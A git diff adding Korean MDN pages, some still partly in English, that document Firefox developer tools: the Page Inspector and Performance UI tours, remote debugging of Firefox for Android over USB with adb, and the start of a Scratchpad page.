diff --git a/files/ko/tools/page_inspector/ui_tour/index.html b/files/ko/tools/page_inspector/ui_tour/index.html
new file mode 100644
index 0000000000..7a7cfbb158
--- /dev/null
+++ b/files/ko/tools/page_inspector/ui_tour/index.html
@@ -0,0 +1,104 @@
+---
+title: UI 일주
+slug: Tools/Page_Inspector/UI_Tour
+translation_of: Tools/Page_Inspector/UI_Tour
+---
+<div>{{ToolsSidebar}}</div><p>이 글은 페이지 검사기의 사용자 인터페이스에 대한 주요 부분의 간략한 설명이다.</p>
+
+<p>검사기 UI의 상위 3개 요소를 다룬다:</p>
+
+<ul>
+ <li>"요소 선택" 버튼</li>
+ <li>HTML 구역</li>
+ <li>CSS 구역</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13114/inspector-overview.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;">이 안내는 의도적으로 가능한 쩗게 유지된다. 다양한 검사기 사용법에 대한 상세안내로 가는 링크가 걸려 있다.</p>
+
+<h2 id="요소_선택_버튼">요소 선택 버튼</h2>
+
+<p>검사기가 현재 선택된 요소에 대한 자세한 정보를 준다. 요소 선택 버튼은 검사를 위해 요소를 선택할 수 있는 한 방법이다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13122/select-element.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;"></p>
+
+<p>실제 <a href="/en-US/docs/Tools/Tools_Toolbox#Toolbar">main toolbox toolbar</a>의 부분이며, 검사기 뿐만 아니라 어떠한 도구로부터든 즉시 접근 가능하다는 것을 인지하라.</p>
+
+<p>한 요소를 선택하는 법을 배우기 위해 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">selecting an element</a> 에 대한 지침을 보라.</p>
+
+<h2 id="HTML_구역">HTML 구역</h2>
+
+<p>검사기가 두 개로 반나눠져 있다. 왼쪽 반은 HTML 구역이 차지하고 있다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13116/markup-in-context.png" style="display: block; height: 1754px; margin-left: auto; margin-right: auto; width: 932px;"></p>
+
+<p>HTML 구역의 구조에 대해 더 알기 위해, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">examining and editing HTML</a> 에 대한 지침을 보라.</p>
+
+<h2 id="CSS_구역">CSS 구역</h2>
+
+<p>오른쪽 부분은 CSS 구역이 차지한다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13118/rules-in-context.png" style="display: block; height: 1778px; margin-left: auto; margin-right: auto; width: 932px;">CSS 구역은 5가지 화면으로 나뉜다:</p>
+
+<ul>
+ <li>Rules view 규칙 화면</li>
+ <li>Computed view 계산된 스타일 화면</li>
+ <li>Fonts view 글꼴 화면</li>
+ <li>Box Model view 박스 모델 화면</li>
+ <li>Animations view 애니메이션 화면</li>
+</ul>
+
+<p>다른 화면 간에 이동하기 위해 상단의 탭을 사용하라.</p>
+
+<h3 id="규칙_화면">규칙 화면</h3>
+
+<p>규칙 화면은 선택된 요소에 적용된 모든 규칙을 목록으로 나열한다. 가장 특이성이 높은 것에서 부터 가장 특이성이 떨어지는 것으로 정렬된다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13120/rules-view.png" style="display: block; height: 866px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>더 자세한 내용은 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a> 를 보라.</p>
+
+<h3 id="계산된_스타일_화면">계산된 스타일 화면</h3>
+
+<p>계산된 스타일 화면은 선택된 요소의 계산 완료된 CSS 를 보여준다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13130/computed-view.png" style="display: block; height: 856px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>더 자세한 내용은 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a> 를 보라.</p>
+
+<h3 id="글꼴_화면">글꼴 화면</h3>
+
+<div class="warning">
+<p>파이어폭스47 부터 글꼴 화면은 기본적으로 불가능해진다. 충분한 특성을 가진 다른 대체품을 작업중이다.</p>
+
+<p>그 동안 글꼴 화면을 보고자 한다면, <code>about:config </code>을 방문해서 <code>devtools.fontinspector.enabled 을</code> 찾아서 <code>true </code>로 설정하라.</p>
+</div>
+
+<p>글꼴 화면은 수정가능한 예제와 함께 페이지 내의 모든 글꼴을 보여준다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10015/css-fonts.png" style="display: block; margin-left: auto; margin-right: auto; width: 451px;"></p>
+
+<p>더 자세한 내용은 <a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">View fonts</a> 를 보라.</p>
+
+<h3 id="박스_모델_화면">박스 모델 화면</h3>
+
+<p>박스 모델 화면은 선택된 요소의 박스 모델의 수정가능한 화면을 제공한다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13128/box-model-view.png" style="display: block; height: 850px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>더 자세한 내용은 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examine and edit the box model</a> 를 보라.</p>
+
+<h3 id="애니메이션_화면">애니메이션 화면</h3>
+
+<p>애니메이션 화면은 선택된 요소에 적용된 어떠한 애니메이션이든 상세 정보와 그들을 멈출 콘트롤러를 제공한다:</p>
+
+<p> </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13126/animations-view.png" style="display: block; height: 854px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>더 자세한 내용은 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Work with animations</a> 를 보라.</p>
+
+<h3 id="CSS_구역_보이게_하거나_가리기">CSS 구역 보이게 하거나 가리기</h3>
+
+<p>파이어폭스40 부터, CSS 구역을 보이게 하거나 가리는 사용하는 버튼을 툴바에서 볼 수 있다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13124/show-hide-css.png" style="display: block; height: 419px; margin-left: auto; margin-right: auto; width: 630px;"></p>
diff --git a/files/ko/tools/performance/index.html b/files/ko/tools/performance/index.html
new file mode 100644
index 0000000000..8a1784f43b
--- /dev/null
+++ b/files/ko/tools/performance/index.html
@@ -0,0 +1,94 @@
+---
+title: 성능 측정 도구
+slug: Tools/Performance
+translation_of: Tools/Performance
+---
+<div>{{ToolsSidebar}}</div><p>성능 도구(Performance tool)는 반응형, 자바 스크립트, 그리고 레이아웃의 성능에 대한 전반적인 통찰력을 줍니다.</p>
+
+<p>성능 도구를 사용하여 특정 시간 동안 사이트를 기록하고 프로파일링을 할 수 있습니다. 이를 이용하면 브라우저가 사이트를 렌더링 하는 중에 일어나는 상황을 <a href="/ko/docs/Tools/Performance/UI_Tour#Waterfall_overview">한 눈에</a> 보여주고, <a href="/ko/docs/Tools/Performance/Frame_rate">프레임 레이트</a>의 그래프를 그려줍니다.</p>
+
+<p>성능 도구는 더 자세한 분석을 위해 세 가지 보조 도구들을 지원합니다 :</p>
+
+<ul>
+ <li><a href="/ko/docs/Tools/Performance/Waterfall">워터폴</a>(Waterfall)은 브라우저의 동작들을 보여줍니다. 예를 들어 레이아웃, 자바스크립트, 리페인트, 가비지 콜렉션 등을 보여줍니다.</li>
+ <li><a href="/ko/docs/Tools/Performance/Call_Tree">콜트리</a>(Call Tree)는 브라우저가 가장 많은 시간을  소비하는 자바스크립트 함수들을 보여줍니다.</li>
+ <li><a href="/ko/docs/Tools/Performance/Flame_Chart">프레임차트</a>(Frame Chart)는 기록을 하는 동안 사용되는 자바스크립트 콜스택을 보여줍니다.</li>
+</ul>
+
+<p>{{EmbedYouTube("WBmttwfA_k8")}}</p>
+
+<hr>
+<h2 id="시작하기">시작하기</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Performance/UI_Tour">UI 투어</a></dt>
+ <dd>
+ <p>성능 도구를 사용하는 방법을 찾아보려면 UI에 대한 퀵투어가 있습니다.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Performance/How_to">시작 방법</a></dt>
+ <dd>기본적인 업무: 도구를 열기, 생성, 저장, 로드하고 녹화를 설정합니다.</dd>
+ <dt> </dt>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="성능_도구의_구성요소">성능 도구의 구성요소</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Performance/Frame_rate">프레임 레이트</a></dt>
+ <dd>당신의 사이트의 전반적인 반응형을 이해합니다.</dd>
+ <dt><a href="/ko/docs/Tools/Performance/Call_Tree">콜트리</a></dt>
+ <dd>당신의 사이트의 자바스크립트에서 부하가 걸리는 부분을 찾습니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Performance/Waterfall">워터폴</a></dt>
+ <dd>사용자가 당신의 사이트와 상호작용할때 브라우저가 어떻게 작용하는지 이해합니다. </dd>
+ <dt><a href="/ko/docs/Tools/Performance/Flame_Chart">프레임 차트</a></dt>
+ <dd>녹화되는 동안에 어떤 자바스크립트 함수들이 언제 수행되는 지 봅니다.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="시나리오">시나리오</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt> <a href="/ko/docs/Tools/Performance/Scenarios/Animating_CSS_properties">CSS 애니메이팅</a></dt>
+ <dd>워터폴을 사용하여 어떻게 브라우저가 페이지를 업데이트하고, CSS 속성들이 어떻게 성능에 영향을 주는지 알아보세요.</dd>
+ <dt> </dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Performance/Scenarios/Intensive_JavaScript">인텐시브한 자바스크립트</a></dt>
+ <dd>프레임레이트와 워터폴을 사용하면 장기간 실행되는 자바스크립트로 인해서 발생되는 수행상의 문제들과 workers를 사용하는 것이 이 상황에서 어떻게 도움이 되는지 강조해서 표시합니다.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
+
+<div class="column-half">
+<dl>
+ <dd> </dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/ko/tools/performance/ui_tour/index.html b/files/ko/tools/performance/ui_tour/index.html
new file mode 100644
index 0000000000..f32605ba3e
--- /dev/null
+++ b/files/ko/tools/performance/ui_tour/index.html
@@ -0,0 +1,127 @@
+---
+title: UI Tour
+slug: Tools/Performance/UI_Tour
+translation_of: Tools/Performance/UI_Tour
+---
+<div>{{ToolsSidebar}}</div><p>The performance tool's UI consists of 4 main pieces:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13220/perf-tool-pieces.png" style="display: block; height: 351px; margin-left: auto; margin-right: auto; width: 808px;"></p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">Toolbar</a></li>
+ <li><a href="/en-US/docs/Tools/Performance/UI_Tour#Recordings_pane">Recordings pane</a></li>
+ <li><a href="/en-US/docs/Tools/Performance/UI_Tour#Recording_overview">Recording overview</a></li>
+ <li><a href="/en-US/docs/Tools/Performance/UI_Tour#Details_pane">Details pane</a>, which may contain any one of:
+  <ul>
+   <li><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></li>
+   <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></li>
+   <li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Toolbar">Toolbar</h2>
+
+<p>Toolbar는 다음과 같은 버튼을 포함합니다:</p>
+
+<ul>
+ <li>기록 시작, 정지</li>
+ <li>저장된 이전 기록 가져오기</li>
+ <li>기록 패널 비우기. 주의: 저장되지 않은 기록은 사라집니다 <em>.</em></li>
+ <li>filter the <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">markers</a> that are displayed in the Waterfall view</li>
+ <li>switch the active tool in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Details_pane">Details pane</a>.</li>
+ <li>access the Settings popup</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13222/perf-toolbar.png" style="display: block; height: 434px; margin-left: auto; margin-right: auto; width: 836px;"></p>
+
+<h2 id="Recordings_pane">Recordings pane</h2>
+
+<p>The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10917/perf-recordings-pane.png" style="display: block; height: 337px; margin-left: auto; margin-right: auto; width: 300px;"></p>
+
+<p>At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".</p>
+
+<h2 id="Recording_overview">Recording overview</h2>
+
+<p>This displays an overview of the entire recording, with the x-axis representing time.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10919/perf-overview.png" style="display: block; height: 164px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>It contains two elements: an overview of the Waterfall and a frame rate graph.</p>
+
+<h3 id="Waterfall_overview">Waterfall overview</h3>
+
+<p>This presents a compressed view of the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10923/perf-waterfall-overview.png" style="display: block; height: 76px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Recorded operations are color-coded using <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">the same scheme as in the main Waterfall view</a>.</p>
+
+<h3 id="Frame_rate_graph">Frame rate graph</h3>
+
+<p>The frame rate gives you an overview of the browser's responsiveness during the recording:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10921/perf-frame-rate.png" style="display: block; height: 88px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>See the separate article on <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a>.</p>
+
+<h3 id="Correlating_events">Correlating events</h3>
+
+<p>Because these elements are synchronized, you can correlate events in one element with events in another.</p>
+
+<p>For example, in the screenshot below a long-running paint operation (<a href="/en-US/docs/Tools/Performance/Waterfall#Markers">shown as a green bar</a> in the waterfall overview) corresponds to a drop in the frame rate:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10925/perf-overview-correlation.png" style="display: block; height: 494px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<h3 id="Zooming_in">Zooming in</h3>
+
+<p>You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10927/perf-zoomed.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<h2 id="Details_pane">Details pane</h2>
+
+<p>The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">Toolbar</a>.</p>
+
+<h3 id="Waterfall">Waterfall</h3>
+
+<p>The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10929/perf-waterfall.png" style="display: block; height: 568px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>To learn much more about the Waterfall, see the separate <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> page.</p>
+
+<h3 id="Call_Tree">Call Tree</h3>
+
+<p>The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10949/perf-call-tree.png" style="display: block; height: 384px; margin-left: auto; margin-right: auto; width: 972px;"><br>
+ To learn much more about the Call Tree, see the separate <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> page.</p>
+
+<h3 id="Flame_Chart">Flame Chart</h3>
+
+<p>If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10933/perf-flame-chart.png" style="display: block; height: 504px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>To learn much more about the Flame Chart, see the separate <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> page.</p>
+
+<h3 id="Allocations">Allocations</h3>
+
+<div class="geckoVersionNote">
+<p>The Allocations view is new in Firefox 46.</p>
+</div>
+
+<p>The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12413/allocations-view-1.png" style="display: block; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:</p>
+
+<p>{{EmbedYouTube("Le9tTo7bqts")}}</p>
+
+<p>To learn much more about the Allocations view, see the separate <a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a> page.</p>
+
+<p> </p>
diff --git a/files/ko/tools/remote_debugging/firefox_for_android/index.html b/files/ko/tools/remote_debugging/firefox_for_android/index.html
new file mode 100644
index 0000000000..aa3e7570de
--- /dev/null
+++ b/files/ko/tools/remote_debugging/firefox_for_android/index.html
@@ -0,0 +1,138 @@
+---
+title: Remotely debugging Firefox <36 for Android
+slug: Tools/Remote_Debugging/Firefox_for_Android
+translation_of: Tools/Remote_Debugging/Firefox_for_Android
+---
+<div>{{ToolsSidebar}}</div><div class="note">
+<p>This guide is for Firefox versions version 36 and earlier. For more recent Firefox versions, please use the <a href="./Debugging_Firefox_for_Android_with_WebIDE">WebIDE</a> guide.</p>
+</div>
+
+<p>This guide explains how to use <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">remote debugging </a>to inspect or debug code running in <a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android </a>over USB.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5833/remote-debugging-overview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>This guide's split into two parts: the first part, "Prerequisites" covers stuff you only need to do once, while the second part, "Connecting", covers stuff you need to do each time you connect the device. </p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>First, you'll need:</p>
+
+<ul>
+ <li>a desktop or laptop computer with Firefox running on it</li>
+ <li>an Android device <a href="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device" title="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device">capable of running Firefox for Android</a> with Firefox for Android running on it</li>
+ <li>a USB cable to connect the two devices</li>
+</ul>
+
+<h3 id="ADB_setup">ADB setup</h3>
+
+<p>Next, you'll need to get the desktop and the Android device talking to each other using the <a href="https://developer.android.com/tools/help/adb.html" title="https://developer.android.com/tools/help/adb.html">adb</a> command-line tool.</p>
+
+<h4 class="note" id="On_the_Android_device">On the Android device</h4>
+
+<ul>
+ <li><a href="https://developer.android.com/studio/command-line/adb.html#Enabling" title="http://developer.android.com/guide/developing/device.html#setting-up">Enable USB debugging in phone settings</a>.</li>
+ <li>Attach the device to the desktop via USB.</li>
+</ul>
+
+<h4 class="note" id="On_the_desktop">On the desktop</h4>
+
+<ul>
+ <li>Install the correct version of the <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a> for your device.</li>
+ <li>Using the Android SDK, install the <a href="http://developer.android.com/sdk/installing.html#components" title="http://developer.android.com/sdk/installing.html#components">Android Platform Tools</a>.</li>
+ <li>Android Platform Tools installs adb in the "platform-tools" directory under the directory in which you installed the Android SDK. Make sure the "platform-tools" directory is in your path.</li>
+</ul>
+
+<p>To check it worked, open up a command shell on the desktop and type:</p>
+
+<pre>adb devices</pre>
+
+<p>You should see some output like:</p>
+
+<pre>List of devices attached
+51800F220F01564 device
+</pre>
+
+<p>(The long hex string will be different.)</p>
+
+<p>If you do, then <code>adb</code> has found your device and you've successfully set up ADB.</p>
+
+<h3 id="Enable_remote_debugging">Enable remote debugging</h3>
+
+<p>Next, you need to enable remote debugging on both the Android device and the desktop.</p>
+
+<h4 id="Firefox_for_Android_24_and_earlier">Firefox for Android 24 and earlier</h4>
+
+<p>To enable remote debugging on the device, you need to set the <code>devtools.debugger.remote-enabled</code> preference to <code>true</code>.</p>
+
+<p>Go to <code>about:config</code> in Firefox for Android, type "devtools" into the search box and press the Search key. You'll see all the devtools preferences. Find the <code>devtools.debugger.remote-enabled</code> preference, and press "Toggle".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5803/remote-debugger-about-config-toggle.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 class="note" id="Firefox_for_Android_25_and_later">Firefox for Android 25 and later</h4>
+
+<p>On Firefox for Android 25 and later, there's a menu item to enable remote debugging. Open the menu, select "Settings", then "Developer tools" (on some Android devices you may need to select "More" to see the "Settings" option). Check the "Remote debugging" box:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5829/remote-debugging-device-enable.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The browser will display a notification reminding you to set up port forwarding, which we'll do later on.</p>
+
+<h4 id="On_the_desktop_2">On the desktop</h4>
+
+<p>On the desktop, remote debugging is enabled by a setting in the Toolbox. <a href="/en-US/docs/Tools_Toolbox" title="/en-US/docs/Tools_Toolbox">Open the Toolbox</a>, click the "Settings" button in the <a href="/en-US/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">toolbar</a>, and check "Enable remote debugging" in the <a href="/en-US/docs/Tools_Toolbox#Settings" title="/en-US/docs/Tools_Toolbox#Settings">Settings </a>tab:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5827/remote-debugger-toolbox-settings.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<div class="Note">If you're using a version of Firefox older than 27, you'll need to restart the browser for the setting to take effect.</div>
+
+<p>You'll then see a new option in the Web Developer menu labeled "Connect...":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5811/remote-debugging-connect-menuitem.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Connecting">Connecting</h2>
+
+<p>Now you can connect the remote debugging tools to the device. First, attach the device to the desktop with a USB cable, if you haven't already.</p>
+
+<h4 class="note" id="On_the_desktop_3">On the desktop</h4>
+
+<p>For Firefox 34 or below, go to a command prompt, and type:</p>
+
+<pre>adb forward tcp:6000 tcp:6000</pre>
+
+<p>For later versions of Firefox, go to a command prompt, and type:</p>
+
+<pre>adb forward tcp:6000 localfilesystem:/data/data/org.mozilla.firefox/firefox-debugger-socket</pre>
+
+<p>(If you've changed the value the Android device uses for a debugging port, you'll need to adjust this accordingly.)</p>
+
+<p>For Firefox OS, type:</p>
+
+<pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
+
+<p>You'll need to reissue this command each time you physically attach desktop and device with the USB cable.</p>
+
+<p>Then go to the Web Developer menu on Firefox, and select "Connect...". You'll see a page that looks like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5813/remote-debugging-desktop-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Unless you've changed the port numbers, choose 6000 and press the "Connect" button.</p>
+
+<h4 class="note" id="On_the_Android_device_2">On the Android device</h4>
+
+<p>Next you'll see a dialog in Firefox for Android asking you to confirm the connection:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5815/remote-debugging-device-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Press "OK". The desktop waits for a few seconds to give you time to acknowledge this dialog: if it times out, just press "Connect" in the desktop dialog again.</p>
+
+<h4 class="note" id="On_the_desktop_4">On the desktop</h4>
+
+<p>Next, the desktop shows you a dialog that looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5819/remote-debugging-desktop-select-target.png" style="display: block; margin-left: auto; margin-right: auto;">This is asking whether you want to debug web content running in a browser tab, or to debug the browser code itself.</p>
+
+<ul>
+ <li>You'll see one entry under "Available remote tabs" for each open tab, and clicking it will attach the debugging tools to the web content hosted by that tab. If you want to debug your web content, you'll choose the relevant content tab.</li>
+ <li>You'll see one entry under "Available remote processes": this is the browser process itself. You'll choose this option if you want to debug the browser's own code.</li>
+</ul>
+
+<p>Let's choose to attach to the mozilla.org website. The Toolbox will open in its own window, attached to the Firefox for Android tab that's currently hosting mozilla.org:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5821/remote-debugging-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The Toolbox, and the tools it hosts, work in just the same way as they do when attached to local content.<img alt="" src="https://mdn.mozillademos.org/files/5823/remote-debugging-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
diff --git a/files/ko/tools/remote_debugging/index.html b/files/ko/tools/remote_debugging/index.html
new file mode 100644
index 0000000000..267a6618cc
--- /dev/null
+++ b/files/ko/tools/remote_debugging/index.html
@@ -0,0 +1,31 @@
+---
+title: Remote Debugging
+slug: Tools/Remote_Debugging
+translation_of: Tools/Remote_Debugging
+---
+<div>{{ToolsSidebar}}</div><p>You can use the Firefox developer tools on your desktop to debug code running remotely: in a different process on the same device or on a completely different device. To do this you use Firefox to attach the <a href="/en-US/docs/Toolbox" title="/en-US/docs/Toolbox">Toolbox</a> to the remote process, and the Toolbox is then launched in its own window. At the moment the following tools support remote debugging:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a></li>
+</ul>
+
+<h2 id="Firefox_for_Android">Firefox for Android</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Remotely debugging Firefox for Android</a> describes how to connect to Firefox on an Android device over USB.</p>
+
+<h2 id="Firefox_for_Metro">Firefox for Metro</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Metro">Remotely debugging Firefox for Metro</a> describes how to use desktop Firefox to debug code running in Windows 8 (Metro-style) Firefox.</p>
+
+<h2 id="Firefox_OS">Firefox OS</h2>
+
+<p><a href="/en-US/docs/Tools/WebIDE">WebIDE</a> includes instructions for connecting the Firefox developer tools to the Firefox OS Simulator or to a Firefox OS device.</p>
+
+<h2 id="Thunderbird">Thunderbird</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Thunderbird">Remotely debugging Thunderbird</a> explains how a combination of Firefox and Thunderbird can be used to debug code running in Thunderbird.</p>
diff --git a/files/ko/tools/scratchpad/index.html b/files/ko/tools/scratchpad/index.html
new file mode 100644
index 0000000000..9701e48ffb
--- /dev/null
+++ b/files/ko/tools/scratchpad/index.html
@@ -0,0 +1,90 @@
+---
+title: Scratchpad
+slug: Tools/Scratchpad
+translation_of: Archive/Tools/Scratchpad
+---
+<div>{{ gecko_minversion_header("6.0") }}</div>
+
+<p>Firefox 6 이후 내장되고 있는 스크래치패드(Scratchpad)는 JavaScript 코드의 실험에 편리한 환경을 제공합니다. 웹 페이지의 컨텐츠와 직접 연결해서 코드를 조작할 수 있기 때문에 실제 서비스하는 웹 페이지를 최종적으로 테스트하거나 아이디어를 시험해 볼 수 있습니다. 또한 기존의 웹 사이트를 조작하거나 사이트에서 하고 싶은 조작을 할 수도 있습니다.</p>
+
+<p>한 번에 1 행의 코드를 실행하도록 설계되고 있는 <a href="/ko/Tools/Web_Console" title="Using the Web Console">웹 콘솔</a>과는 달리 스크래치패드는 보다 큰 JavaScript 코드 덩어리를 편집할 수 있고 그리고 출력 결과의 용도에 다양한 방법으로 코드를 실행할 수 있습니다.</p>
+
+<h2 id="스크래치패드를_사용하기">스크래치패드를 사용하기</h2>
+
+<p>스크래치패드 윈도우를 열려면 웹 개발자 메뉴(Mac 에서는 도구모음 메뉴의 부메뉴로서 존재)로 스크래치패드를 선택합니다. 그러면 스크래치패드의 편집 윈도우가 열립니다. 윈도우내에는 스크래치패드의 사용법을 간단하게 나타내 보이는 코멘트가 기재되어 있습니다. 거기에 즉시 JavaScript 의 코드를 쓰기 시작할 수 있습니다.</p>
+
+<p>스크래치패드의 윈도우는 아래와 같은 모양입니다. (Windows 나 Linux 에서는 도구모음도 표시되어 한편 Mac 에서는 화면상부에 도구모음이 표시됩니다):</p>
+
+<p><img alt="scratchpad.png" class="default internal" src="/@api/deki/files/5566/=scratchpad.png"></p>
+
+<p>유용한 키보드 바로가기을 포함한 에디터 그 자체에 관한 문서에 대해서는 <a href="/ko/Tools/Using_the_Source_Editor" title="Using the Source Editor">소스 에디터 사용</a>을 참고하세요.</p>
+
